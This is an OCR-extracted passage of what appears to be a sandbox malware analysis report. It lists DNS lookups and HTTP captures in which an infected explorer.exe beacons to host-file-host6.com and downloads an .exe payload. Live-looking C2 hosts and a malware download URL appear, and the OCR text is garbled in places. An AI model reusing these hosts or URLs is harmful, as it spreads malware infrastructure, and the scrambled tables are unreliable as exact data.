Standard query
(©)

Standard query
()

Standard query
(©)

Standard query
()

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Name
host-file-
host6.com
host-file-
host6.com
privacytoo
Izforyou-7000.top
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host0.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
cdn.discor
dapp.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host0.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com
host-file-
host6.com

cdn.discor
dapp.com

cdn.discor
dapp.com
host-file-
host6.com
host-file-
host6.com

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Nov 18, 2021 10:30:38.657315016 CET

Nov 18, 2021 10:30:38.879878044 CET

Nov 18, 2021 10:30:39.173834085 CET

Nov 18, 2021 10:30:39.405555010 CET

Nov 18, 2021 10:30:39.607285023 CET

Nov 18, 2021 10:30:39.884414911 CET

Nov 18, 2021 10:30:40.142179966 CET

Nov 18, 2021 10:30:40.425576925 CET

Nov 18, 2021 10:30:40.637670994 CET

Nov 18, 2021 10:30:40.834892035 CET

Nov 18, 2021 10:30:41.041389942 CET

Nov 18, 2021 10:30:41.371155024 CET

Nov 18, 2021 10:31:27.285083055 CET

Nov 18, 2021 10:31:27.579091072 CET

Nov 18, 2021 10:31:31.040317059 CET

Nov 18, 2021 10:31:33.117786884 CET

Nov 18, 2021 10:31:36.085480928 CET

Nov 18, 2021 10:31:36.406079054 CET

Nov 18, 2021 10:31:38.817482948 CET

DNS Answers

Timestamp Source IP

Nov 18, 2021
10:30:08.488686085
CET

Nov 18, 2021
10:30:08.759700060
CET

Nov 18, 2021
10:30:10.371493101
CET

Nov 18, 2021
10:30:12.801589966
CET

Nov 18, 2021
10:30:13.033443928
CET

Nov 18, 2021
10:30:15.817898989
CET

Nov 18, 2021
10:30:16.023533106
CET

Nov 18, 2021
10:30:16.206319094
CET

Nov 18, 2021
10:30:16.412431002
CET

Nov 18, 2021
10:30:16.597249031
CET

Nov 18, 2021
10:30:20.846060991
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2021

Dest IP
192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Source IP

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Trans ID
Oxed65

0x56e0

0xff14

0xb7e4

0x8e70

0x73c9

0x4d48

0x8d2

0x7b6c

0x5e50

Oxdc42

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0xb2e5

Oxacl8

0x241b

0x3e50

0x6357

0x2619

Oxc42d

0x747e

0x8300

0x7679

0x50al

0x1320

0x1b9

0xf919

0xc34d

0x46d5

0x787

0x5893

0x68f8

Name

host-file-
host6.com

host-file-
host6.com

privacytoo
Izforyou-7
000.top

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host0.com

host-file-
host6.com

OP Code
Standard query
0

Standard query
(0

Standard query
0

Standard query
(0

Standard query
(0

Standard query
(0)

Standard query
0)

Standard query
(0

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

CName

Name

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

host-file-
host6.com

cdn.discor
dapp.com

cdn.discor
dapp.com

modenm.site

iplogger.org

api.ipify.org

game2030.site

game2030.site

Address
188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

188.225.85.124

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 18, 2021 8.8.8.8 192.168.2.7 0xe5d6 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:21.035716057 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxe4d8 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:21.250483990 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1d78 No error (0) cdn.discor 162.159.135.233 A (IP address)  IN (0x0001)
10:30:21.511094093 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1d78 No error (0) cdn.discor 162.159.134.233 A (IP address)  IN (0x0001)
10:30:21.511094093 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1d78 No error (0) cdn.discor 162.159.133.233 A (IP address)  IN (0x0001)
10:30:21.511094093 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1d78 No error (0) cdn.discor 162.159.129.233 A (IP address)  IN (0x0001)
10:30:21.511094093 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1d78 No error (0) cdn.discor 162.159.130.233 A (IP address)  IN (0x0001)
10:30:21.511094093 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxdc19 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:23.510062933 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Ox6cel No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:23.717825890 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x2e56 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:23.923667908 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x4cb5 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:25.036092043 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxe5b No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:25.268027067 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xf093 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:25.880645037 host0.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxbel?7 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:29.486722946 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xdO5e No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:29.700525999 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x3baf No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:29.895117044 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxba9l No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:30.106487989 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxac85 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:30.721813917 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb638 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:31.307321072 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x2317 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:31.547688961 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Ox2ef4 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:31.819758892 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xd565 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:32.084981918 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxaa6c No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:32.272644997 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x86fe No error (0) cdn.discor 162.159.130.233 A (IP address)  IN (0x0001)
10:30:32.545258045 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x86fe No error (0) cdn.discor 162.159.135.233 A (IP address)  IN (0x0001)
10:30:32.545258045 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x86fe No error (0) cdn.discor 162.159.129.233 A (IP address)  IN (0x0001)
10:30:32.545258045 dapp.com

CET
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 18, 2021 8.8.8.8 192.168.2.7 0x86fe No error (0) cdn.discor 162.159.133.233 A (IP address)  IN (0x0001)
10:30:32.545258045 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x86fe No error (0) cdn.discor 162.159.134.233 A (IP address)  IN (0x0001)
10:30:32.545258045 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb4d0 No error (0) cdn.discor 162.159.130.233 A (IP address)  IN (0x0001)
10:30:36.813528061 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb4d0 No error (0) cdn.discor 162.159.135.233 A (IP address)  IN (0x0001)
10:30:36.813528061 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb4d0 No error (0) cdn.discor 162.159.129.233 A (IP address)  IN (0x0001)
10:30:36.813528061 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb4d0 No error (0) cdn.discor 162.159.133.233 A (IP address)  IN (0x0001)
10:30:36.813528061 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb4d0 No error (0) cdn.discor 162.159.134.233 A (IP address)  IN (0x0001)
10:30:36.813528061 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xf8fd No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:38.136236906 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x78c5 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:38.348126888 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0xb2e5 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:38.677207947 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxac18 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:38.899976015 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x241b No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:39.193674088 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x3e50 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:39.425133944 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x6357 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:39.624965906 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x2619 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:39.904433012 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 Oxc42d No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:40.159704924 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x747e No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:40.445641041 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x8300 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:40.657869101 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x7679 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:40.853019953 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x50al No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:41.061248064 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1320 No error (0) host-file- 188.225.85.124 A (IP address)  IN (0x0001)
10:30:41.390899897 host6.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1b9 No error (0) cdn.discor 162.159.134.233 A (IP address)  IN (0x0001)
10:31:27.306971073 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1b9 No error (0) cdn.discor 162.159.130.233 A (IP address)  IN (0x0001)
10:31:27.306971073 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1b9 No error (0) cdn.discor 162.159.133.233 A (IP address)  IN (0x0001)
10:31:27.306971073 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1b9 No error (0) cdn.discor 162.159.135.233 A (IP address)  IN (0x0001)
10:31:27.306971073 dapp.com

CET

Nov 18, 2021 8.8.8.8 192.168.2.7 0x1b9 No error (0) cdn.discor 162.159.129.233 A (IP address)  IN (0x0001)
10:31:27.306971073 dapp.com

CET

Copyright Joe Security LLC 2021 Page 21 of 95



Timestamp Source IP Dest IP

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:27.597131014
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:27.597131014
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:27.597131014
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:27.597131014
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:27.597131014
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:31.108372927
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:33.135303020
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:36.105379105
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:36.105379105
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:36.105379105
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:36.105379105
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:36.105379105
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:36.764942884
CET

Nov 18, 2021 8.8.8.8 192.168.2.7
10:31:39.177006006
CET

HTTP Request Dependency Graph

e cdn.discordapp.com

e ovnfahllse.org
e host-file-host6.com

e ndgivnd.org

e privacytoolzforyou-7000.top

e |capgjmve.org

e kbmxn.net

e 216.128.137.31

e aykdwcs.com

* pjbay.org

e fhwgwmij.com

e ghaduhxh.net

e host-file-host0.com
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Trans ID

0xf919

0xf919

0xf919

0xf919

0xf919

0xc34d

0x46d5

0x787

0x787

0x787

0x787

0x787

0x5893

0x68f8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName
cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

modenm.site

iplogger.org

api.ipify.org api.ipify.org.herokudns.co

m

api.ipify.
org.heroku
dns.com
api.ipify.
org.heroku
dns.com
api.ipify.
org.heroku
dns.com
api.ipify.
org.heroku
dns.com

game2030.site

game2030.site

Address
162.159.134.233

162.159.130.233

162.159.133.233

162.159.135.233

162.159.129.233

80.66.87.32

5.9.162.45

54.91.59.199

3.220.57.224

52.20.78.240

3.232.242.170

8.209.71.17

8.209.71.17

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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.

xybblvjvyv.org

.

sdbtf.net

.

jdyptjaakt.org

.

yescuf.org

e okbhh.com

e ukbyppnr.com

e dwgvad.com

e xjgdm.com

.

atanmkbpso.com

hkilsvrrd.com

.

.

titympijjb.org

* mtofyflg.com

.

Itdhgfb.com

.

eqdjygbwug.org

e krhxuby.com

.

45.87.154.2

.

iuyisco.net

.

gxapoluwf.net

o

cqpptcaaq.net

o

kunlarxj.org

fcarunhrnf.com

.

.

egvtcfnms.org

.

urchbtq.org

.

fwulgvf.org

.

mslexfru.com

.

luhjtydl.org

.

jorcke.net

.

yeqvyp.org

.

wcqgjtt.net

e psltwkawe.net
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e mpvkqgv.com

e cxcbx.net

® iukehj.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.7 49779 162.159.135.233 443 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.7 49802 162.159.130.233 443 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
10 192.168.2.7 49771 188.225.85.124 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Nov 18, 2021 1482 ouT POST /HTTP/1.1
10:30:16.079060078 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://pjbqy.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 278

Host: host-file-host6.com

Nov 18, 2021 1483 IN HTTP/1.1 200 OK
10:30:16.177164078 CET Server: nginx/1.20.1
Date: Thu, 18 Nov 2021 09:30:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP  Destination Port Process
11 192.168.2.7 49772 188.225.85.124 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Nov 18, 2021 1484 ouT POST /HTTP/1.1
10:30:16.272568941 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://fhwgwmij.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 234

Host: host-file-host6.com

Nov 18, 2021 1484 IN HTTP/1.1 200 OK
10:30:16.380862951 CET Server: nginx/1.20.1
Date: Thu, 18 Nov 2021 09:30:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.7 49773 188.225.85.124 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data
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Timestamp

Nov 18, 2021
10:30:16.469085932 CET

Nov 18, 2021
10:30:16.568077087 CET

Session ID

13

Timestamp

Nov 18, 2021
10:30:16.653595924 CET

Nov 18, 2021
10:30:16.791829109 CET

Session ID
14

Timestamp

Nov 18, 2021
10:30:20.902023077 CET

kBytes
transferred

1485

1486

Source IP

192.168.2.7

kBytes
transferred

1487

1488

Source IP
192.168.2.7

kBytes
transferred

4507

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49774

Direction

ouT

Source Port
49776

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ghaduhxh.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 274

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
8e 2c b4 59 52 db 03 f8 e5 2c 3 65 Oc 4f e5 af €3 1e bb 52 de 43 d2 fe 25 80 26 80 a8 93 59 2d f8 €3 00 7e 0d Oa 30 Od
Oa 0d Oa

Data Ascii: 451:820U&,YR,eORC%&Y-~0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

GET /files/9196_1637140254_4196.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host0.com

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 09:30:16 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Wed, 17 Nov 2021 09:10:54 GMT

ETag: "2c2600-5d0f86b581091"

Accept-Ranges: bytes

Content-Length: 2893312

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 dd 7e da 80 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01
30 00 00 ec 02 00 00 1c 05 00 00 00 00 00 a0 49 4d 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 O
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 72 00 00 04 00 00 ba 9f 2¢c 00 02 00 40 80 00 00 10 00 00 10 00 00 00
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 60 08 00 50 00 00 00 00 20 03 00 44 18 05 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 00 03 00 00
20 00 00 00 6a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 44 18 05 00
00 20 03 00 00 1a 05 00 00 6e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 Oc 00 00
00 00 40 08 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20
00 00 00 60 08 00 00 02 00 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 68 65 6d 69 64 61 00
c0 44 00 00 80 08 00 00 00 00 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00
9a 25 00 00 40 4d 00 00 9a 25 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL~0IM @ r,@:'P D
.idata *@.themidaD".boot% @M%

j .rsrcDn@@ @@B

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xybblvjvyv.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 324

Host: host-file-host6.com
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Timestamp

Nov 18, 2021
10:30:21.002305984 CET

Session ID

15

Timestamp

Nov 18, 2021
10:30:21.101572990 CET

Nov 18, 2021
10:30:21.221666098 CET

Session ID
16

Timestamp

Nov 18, 2021
10:30:21.319648027 CET

Nov 18, 2021
10:30:21.433017969 CET

Session ID

17

kBytes
transferred

4508

Source IP

192.168.2.7
kBytes

transferred

4509

4510

Source IP
192.168.2.7

kBytes

transferred
4510

4511

Source IP

192.168.2.7

Copyright Joe Security LLC 2021

Direction

Source Port

49777

Direction

ouT

Source Port
49778

Direction
ouT

Source Port

49780

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:20 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
